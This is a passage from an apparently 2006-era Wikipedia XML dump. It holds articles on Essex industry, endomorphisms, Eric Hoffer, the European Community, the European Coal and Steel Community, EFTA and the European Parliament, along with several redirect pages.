The port of [[Tilbury]] is one of Britain's three major ports, while the port of [[Harwich]] links the county to the [[Hoek van Holland|Hook of Holland]]. Despite the [[Dartford Crossing|road crossing]] to [[Dartford]] in [[Kent]] across the [[River Thames]], a pedestrian ferry to [[Gravesend, Kent]] still operates from Tilbury during limited hours.

Industry is largely limited to the south of the county, with the majority of the land elsewhere being given over to [[agriculture]]. Harlow is a centre for electronics, science and [[Pharmacology|pharmaceutical]] companies, while Chelmsford is the home of Marconi and Brentwood home to the Ford Motor Company's European HQ. Chelmsford has been an important location for [[electronics]] companies since the industry was born, and is also the location for a number of insurance and financial services organisations, and is the home of the soft drinks producer [[Britvic]]. Other businesses in the county are dominated by [[light engineering]] and the [[service sector]].

== Towns and villages ==
''See the [[List of places in Essex]]

==Places of Interest== 
* [[Abberton Reservoir]]
* [[Colchester Castle]], [[Colne Valley Railway]]
* [[East Anglian Railway Museum]]
* [[Epping Forest]]
* [[Harlow|Harlow New Town]]
* [[Hedingham Castle]]
* [[Mangapps Railway Museum]] ([[Burnham-on-Crouch]]), [[Mistley towers]]
* [[St Peter-on-the-Wall]]
* [[University of Essex]] (Wivenhoe Park, Colchester)
* [[Waltham Abbey]]


==See also== 
*[[Earl of Essex]]
*[[GHQ Line]] - World War II fortification

==External links==
*[http://www.essexcc.gov.uk/ Essex County Council] 
*[http://www.bbc.co.uk/essex/ BBC Essex]
*[http://www.thisisessex.co.uk/echo  Evening Echo] (for south of county)
*[http://www.thisisessex.co.uk/evening-gazette Evening Gazette] (for north of county)

{{England ceremonial counties}}
&lt;br /&gt;
{{England traditional counties}}

[[Category:Essex| ]]
&lt;!-- The below are interlanguage links. --&gt;

[[da:Essex]]
[[de:Essex]]
[[es:Essex]]
[[eo:Essex]]
[[fr:Comté d'Essex (Angleterre)]]
[[it:Essex]]
[[nl:Essex]]
[[no:Essex]]
[[pl:Essex]]
[[ru:Эссекс]]
[[simple:Essex]]
[[sk:Essex (grófstvo)]]</text>
    </revision>
  </page>
  <page>
    <title>Endomorphism</title>
    <id>9569</id>
    <revision>
      <id>38363308</id>
      <timestamp>2006-02-05T21:24:38Z</timestamp>
      <contributor>
        <username>Tosha</username>
        <id>37304</id>
      </contributor>
      <minor />
      <comment>/* External links */ ru</comment>
      <text xml:space="preserve">In [[mathematics]], an '''endomorphism''' is a [[morphism]] (or [[homomorphism]]) from a mathematical object to itself. So, for example, an endomorphism of a [[vector space]] ''V'' is a [[linear map]] ''f'' : ''V'' &amp;rarr; ''V'' and an endomorphism of a [[group (mathematics)|group]] ''G'' is a [[group homomorphism]] ''f'' : ''G'' &amp;rarr; ''G'', etc. In general, we can talk about endomorphisms in any [[category theory|category]].

Given an object ''X'' in a category ''C'' and two endomorphisms ''f'' and ''g'' of ''X'', the [[functional composition|composite]] ''f'' &lt;small&gt;O&lt;/small&gt; ''g'' is also an endomorphism of ''X''. Since the [[identity map]] on ''X'' is also an endomorphism of ''X'', we see that the [[set]] of ''all'' endomorphisms of ''X'' forms a [[monoid]], denoted End&lt;sub&gt;''C''&lt;/sub&gt;(''X'') or just End(''X'') if the category is understood.

In many but not all situations it is possible to add endomorphisms, and the endomorphisms of a given object then form a [[ring (mathematics)|ring]], called the [[endomorphism ring]] of the object. This is true, for example, in the categories of [[abelian group]]s, [[module (mathematics)|module]]s, and [[vector space]]s. In general it is true in all [[preadditive category|preadditive categories]].

An endomorphism that is also an [[isomorphism]] is termed an [[automorphism]]. In the following diagram, the arrows denote implication.

{| border=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;42%&quot; | [[automorphism]]
| align=&quot;center&quot; width=&quot;16%&quot; | &lt;math&gt;\to&lt;/math&gt;
| align=&quot;center&quot; width=&quot;42%&quot; | [[isomorphism]]
|-
| align=&quot;center&quot; | &lt;math&gt;\downarrow&lt;/math&gt;
|
| align=&quot;center&quot; | &lt;math&gt;\downarrow&lt;/math&gt;
|-
| align=&quot;center&quot; | endomorphism
| align=&quot;center&quot; | &lt;math&gt;\to&lt;/math&gt;
| align=&quot;center&quot; | [[homomorphism|(homo)morphism]]
|}

==See also==
*[[Category theory]]

==External links==

*[http://www.mathematics21.org/pseudomorphisms-category.xml Category of Endomorphisms and Pseudomorphisms]. [http://www.mathematics21.org/ Victor Porton]. 2005. - ''Endomorphisms'' of a [[category theory|category]] (particularly of a category with [[partial order|partially ordered]] [[category theory|morphisms]]) are also [[category theory|objects]] of certain categories.

[[Category:Abstract algebra]]
[[Category:Category theory]]

[[de:Endomorphismus]]
[[fr:Endomorphisme]]
[[nl:Endomorfisme]]
[[pl:Endomorfizm]]
[[ru:Эндоморфизм]]</text>
    </revision>
  </page>
  <page>
    <title>Electric Levantine</title>
    <id>9570</id>
    <revision>
      <id>15907446</id>
      <timestamp>2003-09-18T01:16:55Z</timestamp>
      <contributor>
        <username>Lexor</username>
        <id>5364</id>
      </contributor>
      <minor />
      <comment>Revert to last self-version, redirects to [[Murat Ses]].  One artist does not a style make.</comment>
      <text xml:space="preserve">#REDIRECT [[Murat Ses]]</text>
    </revision>
  </page>
  <page>
    <title>Eulers number</title>
    <id>9572</id>
    <revision>
      <id>15907447</id>
      <timestamp>2003-02-24T00:10:26Z</timestamp>
      <contributor>
        <username>Oliver Pereira</username>
        <id>5333</id>
      </contributor>
      <comment>#REDIRECT [[e (mathematical constant)]]</comment>
      <text xml:space="preserve">#REDIRECT [[e (mathematical constant)]]</text>
    </revision>
  </page>
  <page>
    <title>Eric Hoffer</title>
    <id>9574</id>
    <revision>
      <id>38046613</id>
      <timestamp>2006-02-03T20:40:29Z</timestamp>
      <contributor>
        <username>JJstroker</username>
        <id>682273</id>
      </contributor>
      <text xml:space="preserve">[[Image:Erichoffer2.jpg|right|thumb]]
'''Eric Hoffer''' ([[July 25]] [[1902]] &amp;ndash; [[May 21]] [[1983]]) was an American social [[writer]]. He produced ten books and won the [[Presidential Medal of Freedom]] in February 1983 from [[Ronald Reagan]]. His first book, ''[[The True Believer]]'', published in 1951, was widely recognized as a classic. This book, which he considered his best, established his reputation, and he remained a successful writer for most of his remaining years.

Hoffer was born in [[New York City]], the son of [[Germany|German]] immigrants.  By the age of five, he could read in both German and English. At age seven, and for unknown reasons, Hoffer went blind. His eyesight inexplicably returned when he was fifteen. Fearing he would again go blind, he seized upon the opportunity to read as much as he could for as long as he could. His eyesight remained, but Hoffer never abandoned his habit of voracious reading. 

Both his parents died while he was still a young man.  Seeking opportunity, and an occupation that would allow him to read constantly, Hoffer made his way across the country to [[California]].  A rumour is that he enlisted in the Armed forces, because he was fervently anti-Nazi, but was rejected for medical reasons.  Fighting this setback he went to San Francisco to work at the [[San Francisco Naval Shipyard|Naval Shipyard]] and support the war effort in what way he could.  There he began to do manual labor while educating himself on the side.  He had library cards for borrowing at libraries up and down the train line near his home in [[San Francisco]]. He was to continue at odd jobs throughout his life, such as migrant farm laborer, [[gold]] prospector, and [[stevedore|longshoreman]].  Despite daily work, often strenuous, he managed to read more books than many academics.  He was stirred to writing after felicitously encountering the ''Essays'' of [[Michel de Montaigne]] in a secondhand bookshop.

==Hoffer and the roots of mass movements==

Hoffer was among the first to recognize the central importance of [[self-esteem]] to psychological well-being. While most recent writers focus on the benefits of a positive self-esteem, Hoffer focused on the consequences of a lack of self-esteem. Concerned about the rise of totalitarian governments, especially those of [[Hitler]] and [[Stalin]], he tried to find the roots of these &quot;madhouses&quot; in human psychology.  He discovered that [[fanaticism]] and self-righteousness are rooted in self-hatred, self-doubt, and insecurity. As he describes in ''The True Believer'', a passionate obsession with the outside world or with the private lives of other people is merely a craven attempt to compensate for a lack of meaning in one's own life.  Extensively researched, this slim volume contains more ideas per page than some entire books.

His work was not only original, it was completely out of step with dominant academic trends. In particular, it was completely non-[[Freudian]], at a time when almost all American psychology was confined to the Freudian paradigm. In avoiding the academic [[mainstream]], Hoffer managed to avoid the straitjacket of established thought.  Many argue that it is because of his lack of a University education that his book has remained a classic and insightful (ie non-[[Sigmund Freud|Freudian]]).  Hoffer appeared on Public Television in 1964 and then in two one-hour conversations on [[CBS]] with [[Eric Sevareid]] in the late 1960s.  Both times he drew wide response for his patiently considered but unorthodox views.

==Hoffer and &quot;Intellectuals&quot;==
Hoffer was also one of the most pro-American writers of his day.  He did not consider himself an &quot;intellectual&quot;, and he scorned the term as descriptive of the mostly anti-American academics of the West.  Academics, he believed, most of all craved power; but they were denied it in the democratic countries of the West (though they were not in totalitarian countries, which Hoffer saw as an intellectual's dream).  So instead, he believed, they chose to bite the hand that fed them in their quest to feel important. 

Hoffer himself drew confidence from his working-class environment, seeing in it vast human potential.  He took solace in being an outcast, believing that the outcasts have always been the pioneers of society.  Though he felt opposed to &quot;liberal&quot; intellectuals, it would be wrong to call Hoffer's thinking &quot;conservative&quot;.  Rather, it was completely apart from the mainstream.  As he said, &quot;my writing grows out of my life just as a branch from a tree.&quot;  When called an intellectual, he insisted that he was a longshoreman.

==Bibliography==

:1951 ''[[The True Believer|The True Believer: Thoughts On The Nature Of Mass Movements]]'' ISBN 0060505915
:1955 ''The Passionate State Of Mind, and Other Aphorisms''
:1963 ''The Ordeal Of Change''
:1967 ''The Temper Of Our Time''
:1969 ''Working And Thinking on The Waterfront; a journal, June 1958-May 1959''
:1973 ''Reflections on the Human Condition''
:1976 ''In Our Time''
:1979 ''First Things, Last Things''
:1979 ''Before the Sabbath''
:1982 ''Between the devil and the dragon : the best essays and aphorisms of Eric Hoffer'' ISBN 0060149841
:1983 ''Truth Imagined''

==Books on Hoffer==
*''Eric Hoffer; an American Odyssey'' Tomkins, Calvin, New York, Dutton, 1968
*''Hoffer's America'', Koerner, James D., La Salle, Ill., Library Press, 1973
*''Eric Hoffer'', Baker, James Thomas. Boston : Twayne, 1982 ISBN 0805773592 Twayne's United States authors series

==Broadcasts==
Documentary on Eric Hoffer with Eric Severeid, CBS, [[November 14]], [[1967]]

==Quotes==

&quot;The Renaissance was a time of mercenary soldiers, ours is a time of mercenary labor.&quot;  --''Before the Sabbath''.

&quot;A man is likely to mind his own business when it is worth minding. When it is not, he takes his mind off his own meaningless affairs by minding other people's business.&quot; --''The True Believer''.

&quot;For though ours is a godless age, it is the very opposite of irreligious.&quot; --''The True Believer''.

&quot;In times of change learners inherit the earth, while the learned find themselves beautifully equipped to deal with a world that no longer exists.&quot;

&quot;People who bite the hand that feeds them usually lick the boot that kicks them.&quot;

==External links==
{{wikiquote}}
* [http://www.makeoutcity.com/Categories/People/EricHoffer/ makeoutcity.com: Categories &gt; People &gt; EricHoffer]
* [http://www.townhall.com/columnists/thomassowell/ts20030618.shtml Thomas Sowell: The legacy of Eric Hoffer]
* [http://students.berkeley.edu/fao/prizes/proselili.html Fabilli and Hoffer Essay Prize]
* [http://www.philosophynow.org/archive/articles/34madigan1.htm The True Believer Revisited] Tim Madigan in Philosophy''Now''
* [http://erichoffer.blogspot.com Eric Hoffer Blog (Searchable quotes)]
* [http://www.quotationspage.com/quotes/Eric_Hoffer Eric Hoffer Quotes]

==Passages from his Work==
*[http://www.philosophicalsociety.com/Archives/Men%20of%20Words.htm &quot;Men of Words&quot;] &quot;Men of words,&quot; according to Hoffer, are those who enjoy a facility for language who are able to rouse popular sentiment and prey upon the anger, insecurities, and confusion of the masses.


[[Category:1902 births|Hoffer, Eric]]
[[Category:1983 deaths|Hoffer, Eric]]
[[Category:Autodidacts|Hoffer, Eric]]
[[Category:German-Americans|Hoffer, Eric]]
[[Category:Presidential Medal of Freedom recipients|Hoffer, Eric]]
[[Category:Social psychology|Hoffer, Eric]]

[[de:Eric Hoffer]]
[[ja:エリック・ホッファー]]
[[pt:Eric Hoffer]]
[[es:Eric Hoffer]]</text>
    </revision>
  </page>
  <page>
    <title>European Community law</title>
    <id>9575</id>
    <revision>
      <id>15907450</id>
      <timestamp>2004-05-03T00:17:43Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[European Union law]]</text>
    </revision>
  </page>
  <page>
    <title>European Community</title>
    <id>9576</id>
    <revision>
      <id>41605273</id>
      <timestamp>2006-02-28T13:21:45Z</timestamp>
      <contributor>
        <ip>62.248.233.149</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of the European Union}}

The '''European Community''' ('''EC'''), most important of three '''European Communities''', was originally founded on [[March 25]], [[1957]] by the signing of the [[Treaty of Rome]] under the name of '''European Economic Community'''. The 'Economic' was removed from its name by the [[Maastricht treaty]] in [[1992]], which at the same time effectively made the European Community the first of [[three pillars of the European Union|three pillars]] of the [[European Union]], called the '''Community''' (or '''Communities''') '''Pillar'''.

[[Image:Rometreaty.jpg|thumb|left|300px|The [[Treaty of Rome]] signing ceremony]]




== European Community ==

'''European Community''' is the name given collectively to the [[European Coal and Steel Community]] (ECSC), the European Economic Community (EEC), and the [[Euratom|European Atomic Energy Community]] (Euratom), when in [[1967]], they were first merged under a single institutional framework with the [[Merger Treaty]].

Soon after the establishment of the ECSC two more European Communities were proposed: [[European Defence Community]] and [[European Political Community]]. They were later rejected.

The EEC,established in 1958, soon became the most important of these three communities, subsequent treaties adding it further areas of competence that extended beyond the purely economic areas, while the other two communities remained extremely limited. Furthermore in 2002 the ECSC ceased to exist with the expiration of the [[Treaty of Paris (1951)|Treaty of Paris]] which established it. Seen as redundant, no effort was made to retain it &amp;mdash; its assets and liabilities were transferred to the EC, and coal and steel became subject to the EC treaty.

With the ratification of the Maastricht Treaty in 1993 the European Community became known as the European Union which exists today.

In [[October 2005]] was initiated the [[European Energy Community]] - the first covering both the [[European Union]] and some non-member states (like the [[European Economic Area]]).

== Community Pillar ==

The Maastricht treaty turned the European Communities as a whole into the first of [[three pillars]] of the European Union, also known as the '''Community Pillar''' or '''Communities Pillar'''. In Community Pillar policy areas decisions are made collectively by [[Qualified Majority Voting]] (QMV). 

== European Economic Community ==

The European Economic Community (EEC) was an organization established ([[1958]]) by treaty between [[Belgium]], [[France]], [[Italy]], [[Luxembourg]], the [[Netherlands]], and [[West Germany]], known informally as the Common Market. The EEC was the most significant of the three treaty organizations that were consolidated in [[1967]] to form the European Community (EC; known since the ratification [[1993]] of the Maastricht treaty as the European Union, EU). The EEC had as its aim the eventual economic union of its member nations, ultimately leading to political union. It worked for the free movement of labour and capital, the abolition of trusts and cartels, and the development of joint and reciprocal policies on labour, social welfare, agriculture, transport, and foreign trade.

In [[1958]], the [[United Kingdom]] proposed that the Common Market be expanded into a transatlantic free-trade area. After the proposal was vetoed by France, the UK engineered the formation ([[1960]]) of the [[European Free Trade Association]] (EFTA) and was joined by other European nations that did not belong to the Common Market. Beginning in [[1973]], with British, [[Republic of Ireland|Irish]], and [[Denmark|Danish]] accession to the EEC, the EFTA and the EEC negotiated a series of agreements that would ensure uniformity between the two organisations in many areas of economic policy, and by [[1995]], all but four EFTA members had joined the European Union.

One of the first important accomplishments of the EEC was the establishment ([[1962]]) of common price levels for agricultural products. In [[1968]], internal tariffs (tariffs on trade between member nations) were scrapped on certain products.

==The future of the European Communities==

The signed but unratified [[European Constitution]] would merge the European Community with the other two pillars of the European Union, making the European Union the legal successor of both the European Community and the present-day European Union. It was for a time proposed that the European Constitution should repeal the [[Euratom]] treaty, in order to terminate the legal personality of Euratom at the same time as that of the European Community, but this was not included in the final version.

==See also==
*[[History of the European Union]]
*[[European Union]]
*[[European Union law]]
*[[European Energy Community]]
*&quot;[[Common European Home]]&quot;

==External links==
*[http://europa.eu.int/index_en.htm European Union website]

[[Category:European Union law]]
[[Category:Trade blocs]]

[[nl:Europese Gemeenschap]]
[[bg:&amp;#1045;&amp;#1074;&amp;#1088;&amp;#1086;&amp;#1087;&amp;#1077;&amp;#1081;&amp;#1089;&amp;#1082;&amp;#1072; &amp;#1086;&amp;#1073;&amp;#1097;&amp;#1085;&amp;#1086;&amp;#1089;&amp;#1090;]]
[[cs:Evropsk&amp;#233; spole&amp;#269;enstv&amp;#237;]]
[[ca:Comunitat Europea]]
[[da:Europæiske Fællesskab]]
[[de:Europäische Gemeinschaft]]
[[fr:Communauté européenne]]
[[id:Komunitas Eropa]]
[[io:Europana Komuneso Ekonomiala]]
[[is:Evrópubandalagið]]
[[it:Comunità Economica Europea]]
[[ja:&amp;#27431;&amp;#24030;&amp;#20849;&amp;#21516;&amp;#20307;]]
[[lt:Europos Ekonominė Bendrija]]
[[nl:Europese Gemeenschap]]
[[pl:Wspólnota Europejska]]
[[ro:Comunitatea European&amp;#259;]]
[[fi:Euroopan yhteisö]]
[[tr:Avrupa Birli?i]]
[[zh:&amp;#27431;&amp;#27954;&amp;#20849;&amp;#21516;&amp;#20307;]]</text>
    </revision>
  </page>
  <page>
    <title>European Coal and Steel Community</title>
    <id>9577</id>
    <revision>
      <id>41571537</id>
      <timestamp>2006-02-28T05:40:01Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
        <id>140144</id>
      </contributor>
      <comment>&quot;pool coal and steel resources&quot; is a woolly phrase - what did this actually mean in practice ?</comment>
      <text xml:space="preserve">[[Image:EGKS.png|thumb|Members of the European Coal and Steel Community]]
The '''European Coal and Steel Community''' (ECSC) was founded in [[1951]] ([[Treaty of Paris (1951)|Treaty of Paris]]), by [[France]], [[West Germany]], [[Italy]], [[Belgium]], [[Luxembourg]] and the [[Netherlands]] to pool the [[steel]] and [[coal]] resources of its member-states, thus preventing another European war.  The headquarters of the ECSC was, beginning in [[1958]], in [[Luxembourg (city)|the capital city of Luxembourg]]. It was the fulfillment of a plan developed by a French economist [[Jean Monnet]], publicized by the French foreign minister [[Robert Schuman]]. It was also heavily promoted, by the [[United States]].

{{expand}}

The ECSC served as the foundation for the later development of the [[European Economic Community]] (later renamed the [[European Community]] by the [[Maastricht Treaty]]), and then the [[European Union]].

The Treaty of Paris entered into force on [[23 July]] [[1952]], and unlike the Treaty establishing the [[European Community]], provided for a limited duration of only 50 years. Therefore the ECSC '''ceased to exist in [[23 July]] [[2002]], and its responsibilities and [[asset]]s were then assumed by the EC'''. (This assumption was provided for by a [[EU protocol|protocol]] to the [[Treaty of Nice]], but as Member States failed to ratify the Treaty in time, a separate [[Council Decision]] (2002/596/EC) with provisions for the end of the ECSC was [[passed]]. Once the Treaty of Nice had been [[ratify|ratified]], this decision was [[wiktionary:superseded|superseded]] by Council Decision 2003/76/EC.)

==Presidents of the High Authority of the European Coal and Steel Community, 1952-1967==
*[[Jean Monnet]] ([[France]]) 1952-1955
*[[René Mayer]] ([[France]]) 1955-1958
*[[Paul Finet]] ([[Belgium]]) 1958-1959
*[[Piero Malvestiti]] ([[Italy]]) 1959-1963
*[[Dino Del Bo]] ([[Italy]]) 1963-1967

==Timeline==
''Evolution of the Structures of European Union''
{{EU-timeline}}

==See also==
* [[History of the European Union]]
* [[Schuman Declaration]]

==External links==
* [http://www.ena.lu?lang=2&amp;doc=16303 Treaty constituting the European Coal and Steel Community] on www.ena.lu
* [http://www.ena.lu?lang=2&amp;doc=3618 The institutions of the European Coal and Steel Community] on www.ena.lu
* [http://www.proeurope.org/eu_founders.html EU Founders]

[[Category:History of the European Union|Coal and Steel Community]]

[[ca:Comunitat Europea del Carbó i de l'Acer]]
[[cs:Evropské společenství uhlí a oceli]]
[[cy:Cymuned Ewropeaidd Glo a Dur]]
[[da:Kul- og Stålunionen]]
[[de:Europäische Gemeinschaft für Kohle und Stahl]]
[[es:Comunidad Europea del Carbón y del Acero]]
[[fi:Euroopan hiili- ja teräsyhteisö]]
[[fr:Communauté européenne du charbon et de l'acier]]
[[he:קהילת הפחם והפלדה האירופית]]
[[hi:यूरोपीय कोयला और स्टील संगठन]]
[[hu:Európai Szén- és Acélközösség]]
[[io:Europana Karbono- e Stalo-Komuneso]]
[[it:Comunità Europea del Carbone e dell'Acciaio]]
[[ja:&amp;#27431;&amp;#24030;&amp;#30707;&amp;#28845;&amp;#37444;&amp;#37628;&amp;#20849;&amp;#21516;&amp;#20307;]]
[[ko:유럽 석탄 철강 공동체]]
[[lb:Communauté européenne du Charbon et de l'Acier]]
[[nl:Europese Gemeenschap voor Kolen en Staal]]
[[nb:Det europeiske kull- og stålfellesskap]]
[[pl:Europejska Wspólnota Węgla i Stali]]
[[pt:CECA]]
[[ro:Comunitatea Europeană a Cărbunelui şi Oţelului]]
[[sk:Európske spoločenstvo pre uhlie a oceľ]]
[[sv:Europeiska kol- och stålgemenskapen]]</text>
    </revision>
  </page>
  <page>
    <title>European Economic Community</title>
    <id>9578</id>
    <revision>
      <id>15907453</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>made redirect</comment>
      <text xml:space="preserve">#redirect [[European Community]]
</text>
    </revision>
  </page>
  <page>
    <title>EFTA</title>
    <id>9579</id>
    <revision>
      <id>15907454</id>
      <timestamp>2003-04-21T12:12:36Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">#REDIRECT [[European Free Trade Association]]</text>
    </revision>
  </page>
  <page>
    <title>European Free Trade Association</title>
    <id>9580</id>
    <revision>
      <id>41019343</id>
      <timestamp>2006-02-24T14:59:00Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <comment>Minor wikification; most members not Scandinavian</comment>
      <text xml:space="preserve">[[Image:efta_logo.png|right]]
The '''European Free Trade Association''' ('''EFTA''') was established on [[May 3]], [[1960]] as an alternative for European states that were not allowed or did not wish to join the [[European Community]] (now the [[European Union]]). 

[[Image:EFTA countries.PNG|thumb|300px|member states]]

The treaty was signed on [[January 4]], [[1960]] in [[Stockholm]] by seven states. Today only [[Iceland]], [[Norway]], [[Switzerland]] and [[Liechtenstein]] remain members of EFTA.

In addition, the EFTA States have jointly concluded free trade agreements with a number of countries worldwide.

==Membership history==
Its original membership was [[United Kingdom]], [[Denmark]], [[Norway]], [[Sweden]], [[Austria]], [[Switzerland]] and [[Portugal]]. 

[[Finland]] became an associate member in [[1961]] (it later became a full member in [[1986]]), and [[Iceland]] joined in [[1970]]. The United Kingdom and Denmark joined the European Community in [[1973]] (together with Ireland), and hence ceased to be EFTA members. Portugal also left EFTA for the European Community in [[1986]]. [[Liechtenstein]] joined in [[1991]] (previously its interests in EFTA had been represented by Switzerland). Finally, Austria, Sweden and Finland joined the European Community in [[1995]] and hence ceased to be EFTA members.

==Institutions==
EFTA has the following institutions: the Secretariat, the EFTA Council, the EFTA Surveillance Authority, and the EFTA Court. 

===EEA-related institutions===
The [[EFTA Surveillance Authority]] and the EFTA Court regulate the activities of the EFTA members in respect of their obligations in the [[European Economic Area]] (EEA).  Since Switzerland is not an EEA member, it does not participate in these institutions. 

The EFTA Surveillance Authority performs the [[European Commission]]'s role as &quot;guardian of the treaties&quot; for the EFTA countries, while the EFTA Court performs the [[European Court of Justice]]'s role for those countries.

The original plan for the EEA lacked the EFTA Court or the EFTA Surveillance Authority, and instead had the European Court of Justice and the European Commission were to exercise those roles. However, during the negotiations for the EEA agreement, the European Court of Justice informed the [[Council of the European Union]] by way of letter that they considered that giving the EU institutions powers with respect to non-EU member states would be a violation of the treaties, and therefore the current arrangement was developed instead.

===Locations===
The EFTA Secretariat is headquartered in [[Geneva]], Switzerland. The EFTA Surveillance Authority has its headquarters in [[Brussels]], [[Belgium]] (the same location as the headquarters of the European Commission), while the EFTA Court has its headquarters in Luxembourg (the same location as the headquarters of the European Court of Justice).

==Portugal Fund==
EFTA also manages the [[Portugal Fund]]. The Portugal Fund was established in [[1975]] when Portugal was still a member of EFTA, to provide funding for the development and reconstruction of Portugal after the end of the dictatorship. When Portugal left EFTA in [[1985]], the remaining EFTA members decided to nonetheless continue the Portugal Fund, so Portugal would continue to benefit from it. The Fund originally took the form of a low-interest loan from the EFTA member states to Portugal, to the value of 100 million [[US dollar]]s. Repayment was originally to commence in [[1988]], but EFTA then decided to postpone the start of repayments until [[1998]].

==International Conventions==
EFTA also originated the [[Hallmarking Convention]] and the [[Pharmaceutical Inspection Convention]], both of which are open to non-EFTA states.

==Relationship to the European Economic Area==
The EFTA members, except for [[Switzerland]], are also members of the [[European Economic Area]] (EEA).

==Future EFTA membership==
Norwegians have rejected in a vote to join the EU on two occasions, at the time of the first [[referendum]] (1972) their historical and geographical neighbours the [[Denmark|Danes]] joined. The second time (1994) two other [[Nordic countries|Nordic neighbors]], [[Sweden]] and [[Finland]] joined the EU. The two last governments of Norway have, however, been unable to advance the question, as they have both been coalition governments consiting of both proponents and opponents.

Iceland is not likely to join the EU in the near future due to political indifference towards the union, only one party supports starting entry-negotiations.

Since Switzerland rejected the EEA in 1992, referenda on EU-membership have been initiated, last time in 2001. These have, however, not been backed by the government, and been rejected by clear majorities.

In mid-2005, representatives of the [[Faroe Islands]] have hinted at the possibility of their territory joining EFTA. However, the chances of the Faroes' bid for membership are uncertain because according to the EFTA Convention, only states may become members of the Association.

==United Kingdom==
The United Kingdom benefited from the lack of common tariffs for EFTA members, by importing goods from the [[Commonwealth of Nations]] and selling them on to other EFTA members. Due to the advancement of the EEC and the decision to focus on [[Europe]], rather than the [[United States]] and Commonwealth, as trading partners, the [[United Kingdom]] chose to apply for EEC membership in 1961 (however, it did not become a member until 1973).

==See also==
*[[Trade bloc]]
*[[Central European Free Trade Agreement]] (CEFTA)
*[[Euro-Mediterranean free trade area]] (EU-MEFTA)

== External links==
*[http://www.efta.int Official EFTA site]
*[http://secretariat.efta.int/Web/EFTAAtAGlance/history/ The history of EFTA in detail]

{{EFTA}}

[[Category:Europe|Free Trade Association]] 
[[Category:Trade blocs]]
[[Category:International organizations]]
[[Category:1960 establishments]]

[[cs:Evropské sdružení volného obchodu]]
[[da:EFTA]]
[[de:Europäische Freihandelsassoziation]]
[[et:EFTA]]
[[es:Asociación Europea de Libre Comercio]]
[[fr:Association européenne de libre-échange]]
[[it:Associazione europea di libero scambio]]
[[ja:欧州自由貿易連合]]
[[nl:Europese Vrijhandels Associatie]]
[[no:Det europeiske frihandelsforbund]]
[[pl:Europejskie Stowarzyszenie Wolnego Handlu]]
[[ru:Европейская ассоциация свободной торговли]]
[[sk:Európske združenie voľného obchodu]]
[[fi:EFTA]]
[[sv:Europeiska frihandelssammanslutningen]]
[[zh:欧洲自由贸易联盟]]</text>
    </revision>
  </page>
  <page>
    <title>European Parliament</title>
    <id>9581</id>
    <revision>
      <id>41864471</id>
      <timestamp>2006-03-02T05:44:29Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
        <id>140144</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Politics of the European Union}}
The '''European Parliament''' is the [[parliament]]ary body of the [[European Union]] (EU), directly elected by [[EU citizen]]s once every five years. Together with the [[Council of the European Union|Council of Ministers]], it composes the legislative branch of the institutions of the Union. It meets in two locations: [[Strasbourg]] and [[Brussels]].

The European Parliament cannot initiate legislation, but it can amend or veto it in many policy areas. In certain other policy areas, it has the right only to be consulted. Parliament also supervises the [[European Commission]], must approve all appointments to it, and can dismiss it with a vote of censure. It also has the right to control the EU budget.

Other organisations of European countries, such as the [[Organization for Security and Co-operation in Europe|OSCE]], the [[Council of Europe]], and the [[Western European Union]] have parliamentary assemblies as well, but the members of these assemblies are [[appoint]]ed by national parliaments. The European Parliament is [[direct election|directly elected by the people]] of the European Union and has some restricted [[legislature|legislative power]].



==Composition ==
[[Image:European_parliament.jpg|thumb|left|250px|The European Parliament building in Brussels]]

The European Parliament represents around 450 million citizens of the European Union. Its members are known as [[Member of the European Parliament|Members of the European Parliament]] (MEPs). Since [[13 June]] 2004, there have been 732 MEPs. (It was agreed that the maximum number of MEPs should be fixed at 750, with a minimum threshold of six per member state and no member state being allocated more than 96 seats.) Elections occur once in every five years, on the basis of universal adult suffrage. There is not a uniform [[voting system]] for the election of MEPs; rather, each member state is free to choose its own system subject to three restrictions&lt;sup&gt;[[#Footnotes|1]]&lt;/sup&gt;:
*The system must be a form of [[proportional representation]], under either the [[party-list proportional representation|party list]] or [[Single Transferable Vote]] system.
*The electoral area may be subdivided if this will not generally affect the proportional nature of the voting system.
*Any [[election threshold]] on the national level must not exceed five percent.


[[Image:EuropeanParliament.jpg|thumb|right|350px|The European Parliament building in Strasbourg]]
The allocation of seats to each member state is based on the principle of degressive proportionality, so that, while the size of the population of each country is taken into account, smaller states elect more MEPs than would be strictly justified by their populations alone. As the number of MEPs granted to each country has arisen from treaty negotiations, there is no precise formula for the apportionment of seats among member states. No change in this configuration can occur without the unanimous consent of all governments.

The most recent elections to the European Parliament were the [[European Parliament election, 2004|European elections of 2004]], held in June of that year. These elections were the largest simultaneous transnational elections ever held anywhere in the world, since nearly 400 million citizens were eligible to vote.
&lt;br&gt;

{{Apportionment in the European Parliament}}

===Observers===
It is conventional for countries acceding to the European Union to send a number of observers to Parliament in advance. The number of observers and their method of appointment (usually by national parliaments) is laid down in the joining countries' Treaties of Accession.

Observers may attend debates and take part by invitation, but they may not vote or exercise other official duties. When the countries then become full member states, these observers become full MEPs for the interim period between accession and the next European elections.

In this way, the agreed maximum of 750 parliamentary seats may temporarily be exceeded. For instance, in 2004, the number of seats in the European Parliament was temporarily raised to 788 to accommodate representatives from the ten states that joined the EU on [[1st May]], but it was subsequently reduced to 732 following the elections in June.

Since [[September 26]] [[2005]], [[Bulgaria]] has 18 observers in Parliament and [[Romania]] has 35. These are selected from government and opposition parties as agreed by the countries' national parliaments. In [[2007]] these observers will become MEPs, but their number is expected to decrease when the number of seats assigned to each country is reassessed, according to the [[Treaty of Nice]].

==Constituencies==
{{main|European Parliament constituency}}

